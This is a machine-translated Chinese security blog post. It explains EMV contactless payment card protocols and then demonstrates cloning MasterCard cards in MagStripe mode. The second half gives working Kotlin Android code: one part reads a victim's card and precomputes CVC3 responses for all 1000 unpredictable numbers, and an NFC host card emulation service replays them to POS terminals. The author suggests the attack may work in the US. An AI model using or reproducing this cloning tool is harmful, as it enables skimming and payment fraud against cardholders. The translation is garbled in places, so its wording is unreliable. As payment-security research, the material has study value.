看到“引擎盖”下的银行卡上发生了什么总是很有趣的。 银行卡和POS终端的通信协议如何实现,如何工作以及多么安全。 当我在Digital Security实习时,这样的机会出现在我面前。 结果,当在MagStripe模式下解析EMV卡的一个已知漏洞时,决定实现一种移动应用程序,该应用程序能够使用其自身的命令以及对请求和响应的详细分析,通过非接触式界面与终端进行通信。 并且尝试实现在MagStripe模式下克隆MasterCard卡的方法。
在本文中,我将尝试描述什么是EMV卡,其工作方式以及如何使用Android克隆您的MasterCard卡。
“有些东西是钱买不到的。 万事达卡»什么是EMV卡?
EMV是带有芯片的银行卡的国际标准。
E uropay +
M asterCard +
V ISA参与了该标准的制定,因此得名。 让我们尝试找出卡如何通过非接触式接口与POS终端进行通信。
让我们从基础开始。
物理EMV非接触式卡的工作原理几乎与RFID标签相同。 如果是基本的,则芯片会进入电磁场,并在一个封闭的导电电路(在我们的示例中是位于周围的天线)中,并置于交变磁场中,产生交流电。 该电流为并联连接到卡谐振电路的特殊电容器充电。 存储在电容器中的能量用于执行微电路卡的各种操作。 当读取器更改电磁场时,更改将立即在芯片上引起注意。 使用信号调制,我们可以以二进制形式传输信息。 如果您在卡上连接了负载电阻或更改了电容器的电容,则可以更改卡电路中的电流强度,这将导致其在读取器电路区域内产生的电磁场发生变化,因此卡将传输数据。 读者将不得不检测这些变化。 这种物理交互受ISO / IEC 14443标准
“识别卡-非接触式集成电路卡-邻近卡”的约束。
卡芯片本身是运行JavaCard的智能卡,JavaCard是Java的单独版本,适用于计算资源较少且支持密码算法的平台。 JavaCard下载小应用程序,它们是应用程序。 还有JavaCard的特定标准GlobalPlatform,它可以安全地管理地图上的数据,并允许您加载,修改和删除地图上的应用程序。 在本文中,我们将不考虑智能卡本身的安全机制。 足以知道受保护的数据(例如卡的私钥和秘密主密钥)在安全的地方,并且不可能使用标准方法将其删除。
我还提醒您一些不熟悉的人的术语。
POS终端 (销售点)-卖方的设备,可读取卡并开始付款。 此外,我们将这个设备简称为终端。
发卡银行是
发卡的银行 。
收单行 -向卖方发行POS终端并处理其付款的银行。
付款系统是收单行和发卡行之间的中央链接,绝对所有付款都通过收款行,并且它知道哪家银行应该将钱转入多少。 世界上有许多付款系统,除了著名的
Visa和
MasterCard,还有
美国运通 ,
中国银联和俄罗斯付款系统
MIR 。
好了,卡和读卡器可以通信。 它们以
Tag-Length-Value的形式互相发送APDU命令,即 标签的名称以十六进制,其长度和值本身进行传输。 当然,所有命令都在
文档中进行了描述,如下所示:

标准EMV交易分几个阶段进行,我将描述接触界面情况下的完整交互算法,对于非接触界面,该算法有所缩短:
- 应用选择;
- 初始化应用程序处理;
- 读取应用程序数据
- 离线认证
- 处理限制;
- 持卡人支票;
- 码头一侧的风险管理;
- 分析最终行动;
- 卡侧的风险管理;
- 分析卡的动作;
- 在线处理;
- 操作完成。

我们简要考虑每个操作。
应用选择。 通常,一张卡上可能有多个应用程序。 例如,一张银行卡和一张旅行票。 终端需要以某种方式找出在哪里使用哪种算法。 所谓的
应用程序标识符(AID )用于选择一个应用程序。 为了理解这一点,终端发送一个
SELECT命令。 例如,Visa Classic卡的
AID如下所示:
A0000000031010 。 如果有几个这样的代码作为响应,并且终端可以使用多个应用程序,则终端将显示一个列表,并提供选择我们所需的应用程序的功能。 如果终端不支持任何应用程序代码,则该操作将被终端拒绝。
初始化应用程序处理。 在此,首先检查地理位置。 例如,Maestro Momentum卡只能在俄罗斯使用才能付款。 进行此阶段是为了使发行人有机会在进行离线操作时应用现有的在线风险管理方法。 在此阶段,如果发卡行在世界某个国家/地区禁止此类交易,则可以凭卡本身取消EMV交易。 此外,卡向终端发送一组特殊结构的信息,该信息包含对卡和应用程序的功能的描述。
读取应用程序数据。 交易所需的各种卡数据被传输到终端,例如卡号,有效期,交易计数器和许多其他数据。 其中一些将在后面讨论。
样本数据:

发卡行的公钥证书和卡本身也被发送。 为了使终端能够验证某些卡数据的数字签名,使用了
PKI基础结构 (公钥基础结构)。 简而言之,支付系统具有一对密钥,即公用密钥和私有密钥,并且该支付系统适用于
CA(中心机构)的所有参与者。 实际上,用于发行者的每个银行的支付系统发行新的密钥对,并且同时生成发行者的银行的公共密钥的证书,并用私钥CA对其进行签名。 此外,当银行发行新卡时,它会相应地为该卡生成一对密钥,并且还会生成卡的公钥证书,并使用银行的私钥对其进行签名。 在终端中,通常为各种支付系统连接一个公钥证书。 因此,当卡发送发卡行的银行的公共密钥证书和卡的证书本身时,终端可以使用支付系统的公共密钥轻松地检查整个链。 终端使用支付系统的公钥,首先验证发行者银行证书的真实性,如果它是真实的,那么它可以被信任,现在使用发行者的银行证书,您可以验证卡本身的证书。
有关EMV安全性的文章中
有更多详细信息。
离线身份验证。 终端确定所支持的离线认证方式的类型。 有静态(
静态数据身份验证-SDA ),动态(
动态数据身份验证-DDA )和组合(
组合数据身份验证-CDA )。 这些方法也基于PKI。
SDA只是在发卡行的银行私钥
DDA上签名的数据-终端发送一些随机数,并且卡必须使用其私钥对其进行签名,并且终端将使用之前收到的卡证书来验证此签名,因此终端将确保该卡确实具有私钥-因此是真实的。
CDA只是两者的组合。
处理限制。 在此,终端检查先前从卡接收的数据是否适合该操作。 例如,它检查应用
程序应用
程序到期日期(标签“ 5F24”)和
应用程序生效日期(标签“ 5F25”)的开始/结束日期。 它还会检查应用程序的版本。 在此阶段执行的操作结果也记录在
TVR报告中
(终端验证结果) 。 根据此阶段的结果,即使应用程序已过期,也无法取消交易。
持卡人支票。 进行持卡人验证是为了验证提供卡的人并验证他是否是卡的真实所有者。 EMV标准提供了各种
持卡人验证方法 。 验证方法在终端和地图上均已定义。 它们包含在所谓的
CVM列表中 。 在执行过程中,终端和卡对接收到的CVM列表进行比较,并选择一般的验证方法。
支持的验证方法列表:
- 不需要CVM('011111'b);
- CVM处理失败('000000'b);
- 签名('011110'b);
- 在线验证了加密的PIN('000010'b);
- 由ICC执行的明文PIN验证(“ 000001” b);
- 由ICC执行的纯文本PIN验证和签名('000011'b);
- 由ICC('000100'b)进行的加密PIN验证;
- 由ICC执行的加密PIN验证和签名('000101'b)。
这里也有关于此主题的有趣信息。
终端侧的风险管理。 在此阶段,终端根据收单行的风险管理设置对交易参数进行内部验证。 终端可以在完成读取卡数据的过程到终端形成第一
GENERATE AC命令之间的任何时间执行风险管理程序。 终端方面的风险管理包括三种机制:
- 控制在卡上执行的操作的大小( 下限检查 );
- 发行人在线授权交易的随机交易选择 ( Random Transaction Selection );
- 检查使用卡的离线活动( 速度检查 )。
分析终端动作。 在此阶段,终端将分析交易先前步骤的结果。 终端根据分析结果来决定是在线进行操作,允许离线进行操作还是拒绝操作。
卡侧的风险管理。 该卡已经从
GENERATE AC命令数据中接收到有关交易,终端和终端检查结果的数据,依次执行其自身的风险管理程序并就如何完成操作做出自己的决定。
分析卡的动作。 在这一阶段,卡完成了风险管理程序并生成了对终端的响应密码。 如果卡决定批准交易,则会生成
交易证书 。 如果卡决定实时执行操作,则它将生成一个
ARQC(授权请求密码) 。 如果卡使用其他授权方法,则使用“
应用程序授权引用” 。 如果卡拒绝交易,则使用
应用程序认证密码 。
需要另一个
ARPC(授权响应密码)密码对发行者进行身份验证。 发行者生成密码ARPC并将密码发送到卡,如果卡确认了密码,则发行者通过卡进行身份验证。
I. M. Goldovsky的书中关于密钥的安全性以及卡和发行者的相互认证的一些知识:
相互身份验证的含义是,卡和终端使用ARQC和ARPC密码进行身份验证。 密码是使用密钥(卡是已知的,发卡行是银行知道的),交易号,终端生成的随机数以及交易,终端和卡的某些详细信息生成的数据。 对于ARPC,发行者的授权响应代码也会添加到列出的数据中。 如果不知道卡的密钥来生成密码,就无法在当前时间内使用当前技术水平计算ARQC / ARPC值,因此成功验证的事实表明了卡和发行者的真实性。 在线身份验证是对卡进行身份验证的最可靠方法。 这是由于它是由发行方直接执行的,而无需以终端形式的中介。 此外,具有112位临时密钥的3DES算法用于在线身份验证,其加密强度与用于卡应用程序的脱机身份验证的非对称密钥模块长度超过1700位的RSA算法的密码强度相对应。 在卡上使用这种长度的非对称密钥仍然非常罕见。 通常使用模块长度为1024、1152或1408位的密钥。
最终,在线交易要经过一个链条:
卡<-> POS终端<->银行获取<->付款系统<->银行发行人。
在MagStripe模式下克隆万事达卡
我们直接进行克隆的原则。 这种非接触式卡攻击方法是由奥地利大学的两位研究人员
Michael Roland,Josef Langer出版的。 它基于称为“
略读”的一般原则。 在这种情况下,攻击者通过从银行卡中读取(复制)信息来窃取银行卡中的钱。 在一般情况下,重要的是保持PIN机密而不泄漏。 但是,按照奥地利人的方法,我们不需要知道这一点。 对于EMV非接触式内核2应用程序的内核版本,成功克隆了支付卡,该协议的版本支持两种非接触式卡操作模式:EMV协议
(MasterCard PayPass M / Chip)和
MagStripe(MasterCard PayPass MagStripe)模式。
MagStripe是磁条卡支持模式。 此模式在具有非接触式接口的万事达卡上实现。 对于难以转移整个基础架构以支持芯片非接触式EMV交易的银行,最有可能需要MagStripe模式。 顺便说一下,Visa卡还具有类似的操作模式
-PayWave MSD(磁条数据) 。
与芯片卡相比,非接触式卡的交易处理过程被截断了,并且通常以以下方式工作:
- 终端发送SELECT PPSE (接近支付系统环境)命令。 该卡发送受支持的应用程序列表。
- 终端发送一个SELECT命令。 作为回应,他收到了必要的申请详细信息。
- 终端发送GET_PROCESSING_OPTIONS命令。 该卡回答其支持的身份验证类型以及那里是否存在持卡人的验证。
- 终端发送READ_RECORDS命令。 作为响应,卡发送的Track1和Track2与卡磁条上记录的几乎相同。
- 终端发送COMPUTE_CRYPTOGRAPHIC_CHECKSUM命令。 这意味着卡应根据传递的不可预测的编号生成CVC3值。

在现实生活中一切看起来如何?看起来像一个
APDU小组。
所有标签列表 。
APDU-应用协议数据单元是带有映射命令或映射响应的帧的符号。
这里和
这里都有关于此主题的几篇文章。
该卡支持特殊的COMPUTE CRYPTOGRAPHIC CHECKSUM命令,该命令的参数是不可预测的数字数据对象(UDOL)中定义的数据。
结果,使用3DES算法和密钥的卡计算出动态值CVC3(卡验证码)。 作为3DES函数的参数,使用UDOL数据和事务计数器(应用程序事务计数器,ATC)的连接。
因此,CVC3的值始终取决于UN和ATC对象。换句话说,此命令是必需的,以便卡生成特定的“签名”,以便发行者可以验证卡。 但是,该签名本身缺少交易本身的签名。 签名包含
ATC值
-2个字节 ,
CVC3(Track1) -2个字节 ,
CVC3(Track2)-2个 字节 ,这些值是由卡根据秘密密钥生成的,发卡行和交易计数器(ATC)也知道这些秘密密钥。 同时,为了生成签名,POS终端通知
UN(不可预测号码)卡-4字节,该字节也用于生成签名。 不可预测的数字可防止在真实卡上生成验证码,以供以后在欺诈性交易中使用。 对于攻击,联合国强烈干涉我们,因为在不超出事务计数器限制的情况下不可能枚举4个字节。 但是,此规范存在一些缺点。
首先,规范将联合国限制为数字编码,即
二进制十进制代码(BCD) ,这实际上意味着,如果我们在HEX中查看这样的编码数字,则只会看到0到9之间的数字,所有其他值都将被考虑在内。仿佛被禁止。 因此,联合国的数额从4,294,967,295减少到99,999,999。
其次,有效的联合国数字位数由卡确定。 因此,根据磁道中的特殊参数,根据卡的类型,UN中的位数可以从10到10,000,实际上,通常会找到1000个值。
因此,攻击计划如下:- 我们读了卡,并从终端机中找到联合国提供的有效位数
- 我们对所有UN进行排序,获取COMPUTE_CRYPTOGRAHIC_CHECKSUM函数的所有可能值,并将它们保存在具有映射UN->结果的对应表中
- 我们将其带到POS终端,找出POS终端要求的号码。
- 我们从表中选择所需的结果,并根据终端的要求进行替换。
- 交易即将结束。
- 利润。 但是,由于开证行可能会拒绝此类交易,因此无法保证交易批准成功。

还值得注意的是,交易计数器(ATC)阻止了以前使用的身份验证代码的重用,这意味着如果我们使用了这种攻击方式,则必须再次复制卡,因为交易计数器已经用于获取信息并已在签名中使用,这意味着如果我们有一个1000的交易计数器,并且在将交易发送给银行之后,银行将不再接受计数器<1001以下的交易。
此外,交易计数器的大小限制为2个字节,这意味着我们最多只能执行65个卡克隆周期,此后该卡很可能会停止工作。在大多数情况下,从卡传输的数据对于所有交易都是静态的。当然,除了COMPUTE_CRYPTOGRAPHIC_CHECKSUM。生成动态CVC3代码证申请应该由一个团队来读的SELECT,然后GET_PROCESSING_OPTIONS,才把COMPUTE_CRYPTOGRACHIC_CHECKSUM,它是一个很重要的一点。这三个命令是生成CVC3所必需的。根据实验,仅使用这三个命令,在Google Galaxy Nexus S上对1000个值进行排序就只花了一分钟。为了使用终端和卡,使用了MasterCard 的Terminal Simulator程序。它可以与各种NFC读卡器和智能卡读卡器配合使用。此外,它是完全免费的。它允许您使用POS终端的各种设置测试卡,并维护来自终端的所有请求和卡响应的详细日志。它也可以在地图模式下用于测试手机上的应用程序。
要读取卡,使用了NFC读取器ACR122。
现在,让我们尝试将所有这些转换为代码。该应用程序将使用Android的Kotlin语言编写。首先,让我们尝试描述团队的总体结构。data class Command( var CLA: String = 0x00.toString(), var INS: String = 0x00.toString(), var P1: String = "", var P2: String = "", var Lc: String = "", var Nc: String = "", var Le: String = "", var Nr: String = "", var SW1WS2: String = "" ) { fun split(): ByteArray { return getHexString().hexToByteArray() } fun getHexString() = CLA.plus(INS).plus(P1).plus(P2).plus(Lc).plus(Nc).plus(Le).plus(Nr).plus(SW1WS2) }
首先,我们需要与NFC建立合作关系。 在电话上,我们可以在两种模式下工作。 在卡模式下,这是当我们响应来自终端的命令时,在终端模式下,是当我们发送命令并读取例如卡时。 即 首先,我们可以克隆卡,然后确保使用已经准备好的命令响应终端的请求。
以下是与NFC交互的简化实现:
private var nfcAdapter: NfcAdapter? = null /*!< represents the local NFC adapter */ private var tag: Tag? = null /*!< represents an NFC tag that has been discovered */ private lateinit var tagcomm: IsoDep /*!< provides access to ISO-DEP (ISO 14443-4) */ private val nfctechfilter = arrayOf(arrayOf(NfcA::class.java.name)) /*!< NFC tech lists */ private var nfcintent: PendingIntent? = null .... override fun onCreate(savedInstanceState: Bundle?) { super.onCreate(savedInstanceState) setContentView(R.layout.activity_main) nfcAdapter = NfcAdapter.getDefaultAdapter(this) nfcintent = PendingIntent.getActivity(this, 0, Intent(this, javaClass).addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP), 0) cardEmulation = CardEmulation.getInstance(nfcAdapter) nfcAdapter?.enableForegroundDispatch(this, nfcintent, null, nfctechfilter) } .... override fun onNewIntent(intent: Intent) { super.onNewIntent(intent) tag = intent.getParcelableExtra(NfcAdapter.EXTRA_TAG) cardReading(tag) } ..... override fun onResume() { super.onResume() if (canSetPreferredCardEmulationService()) { this.cardEmulation?.setPreferredService(this, ComponentName(this, "com.nooan.cardpaypasspass.NfcService")); } } override fun onPause() { if (canSetPreferredCardEmulationService()) { this.cardEmulation?.unsetPreferredService(this) } super.onPause() } private fun cardReading(tag: Tag?) { tagcomm = IsoDep.get(tag) try { tagcomm.connect() } catch (e: IOException) { error = "Reading card data ... Error tagcomm: " + e.message Toast.makeText(applicationContext, error, Toast.LENGTH_SHORT).show() return } try { when { commands != null -> readCardWithOurCommands() mChip -> readCardMChip() else -> readCardMagStripe() } } catch (e: IOException) { error = "Reading card data ... Error tranceive: " + e.message Toast.makeText(applicationContext, error, Toast.LENGTH_SHORT).show() return } finally { tagcomm.close() } } protected fun execute(command: Command, log:Boolean): ByteArray { val bytes = command.split() listLogs.add(bytes.toHex()) val recv = tagcomm.transceive(bytes) listLogs.add(recv.toHex()) return recv }
这描述了命令序列并枚举了从0到999的周期中的不可预测数字的值,我们将Nc更改为“ 00000 $ {String.format(“%03d”,i)}“。Replace(” ..(?!$ )“。toRegex(),” $ 0“)。 并且不要忘记每次在COMPUTE_CRYPTOGRAPHIC_CHECKSUM之前执行GET_PROCESSING_OPTIONS,否则将不计算支票金额。
结果,所有这些都可以写入文件,并且在使用此终端时已经使用。 在这里,我们得到名称和卡号,我们可以在屏幕上显示它。
private fun readCardMagStripe() { try { var response = execute(Commands.SELECT_PPSE) // val select = Commands.SELECT_APPLICATION.apply { Nc = response.toHex().substring(52, 68) SW1WS2 = "00" } val cardtype: String = getTypeCard(select.split()) execute(select) execute(Commands.GET_PROCESSING_OPTIONS) response = execute(Commands.READ_RECORD_1.apply { P2 = "0C" Lc = "00" Le = "" Nc = "" }) if (cardtype === "MasterCard") { cardnumber = "Card number: ${response.getCards()}" cardexpiration = "Card expiration: ${response.getExpired()}" showData() for (i in 0..999) { execute(Commands.GET_PROCESSING_OPTIONS, false) execute(Commands.COMPUTE_CRYPTOGRAPHIC_CHECKSUM.apply { Lc = "04" Nc = "00000${String.format("%03d", i)}".replace("..(?!$)".toRegex(), "$0 ") }) } } finishRead() }
我们需要的一组命令。
object Commands { val SELECT_PPSE = Command(CLA = "00", INS = "A4", P1 = "04", P2 = "00", Lc = "0E", Nc = "32 50 41 59 2E 53 59 53 2E 44 44 46 30 31 00") val SELECT_APPLICATION = Command(CLA = "00", INS = "A4", P1 = "04", P2 = "00", Nc = "07") val GET_PROCESSING_OPTIONS = Command(CLA = "80", INS = "A8", P1 = "00", P2 = "00", Lc = "02", Nc = "83 00", Le = "00") val READ_RECORD_1 = Command(CLA = "00", INS = "B2", P1 = "01", P2 = "14", Lc = "00", Le = "00") val READ_RECORD_2 = Command(CLA = "00", INS = "B2", P1 = "01", P2 = "1C", Lc = "00", Le = "00") val READ_RECORD_3 = Command(CLA = "00", INS = "B2", P1 = "01", P2 = "24", Lc = "00", Le = "00") val READ_RECORD_4 = Command(CLA = "00", INS = "B2", P1 = "02", P2 = "24", Lc = "00", Le = "00") val COMPUTE_CRYPTOGRAPHIC_CHECKSUM = Command(CLA = "80", INS = "2A", P1 = "8E", P2 = "80", Le = "00") }
要从终端实现窃听命令,您需要启动服务并在清单中声明它。 在此服务中,来自终端的命令进入processCommandApdu,我们将其与文件中存储的命令进行比较,并给出响应,该响应将写入下一行。
<service android:name=".NfcService" android:exported="true" android:permission="android.permission.BIND_NFC_SERVICE"> <intent-filter> <action android:name="android.nfc.cardemulation.action.HOST_APDU_SERVICE" /> <category android:name="android.intent.category.DEFAULT" /> </intent-filter> <meta-data android:name="android.nfc.cardemulation.host_apdu_service" android:resource="@xml/apdu_config" /> </service>
class NfcService : HostApduService() { fun getData(context: Context?): List<Command> { var list: List<Command> = arrayListOf() filePath?.let { if (it.isNotBlank()) { list = getCommands(Uri.fromFile(File(it)).readTextFromUri(context), this::showError) } else { Toast.makeText(applicationContext, "Not found file path", Toast.LENGTH_SHORT).show() } } return list } private var commands: List<Command>? = arrayListOf() override fun processCommandApdu(apdu: ByteArray?, bundle: Bundle?): ByteArray { commands = getData(applicationContext) commands?.forEachIndexed { i, command -> if (apdu.toHex() == command.getHexString()) { return commands!![i+1].split() } } Log.e("LOG", "Finnish") return Value.magStripModeEmulated.hexToByteArray() }
该应用程序的几个屏幕截图。 我们读取了卡和parsim日志:

因此,您可以使用卡数据模拟手机上非接触式EMV卡的操作。 但是幸运的是,对某人来说,这种攻击在俄罗斯不起作用。 根据我们的实验,交易一直到发行人的银行,并被银行本身拒绝。 此外,我们无法使用MagStripe进行离线交易。 但是,这种攻击可能会在其他使用MagStripe模式非常普遍且风险管理算法略有不同的国家/地区实施,例如在美国。
借助本文链接
银行微处理器卡/ I.M. Goldovsky-M。:TsIPSiR:Alpina Pub Lakers,2010。-686羽
EMV项目:分步奥地利研究人员的研究链接到应用程序代码终端模拟器。感谢
barracud4帮助
我准备本文。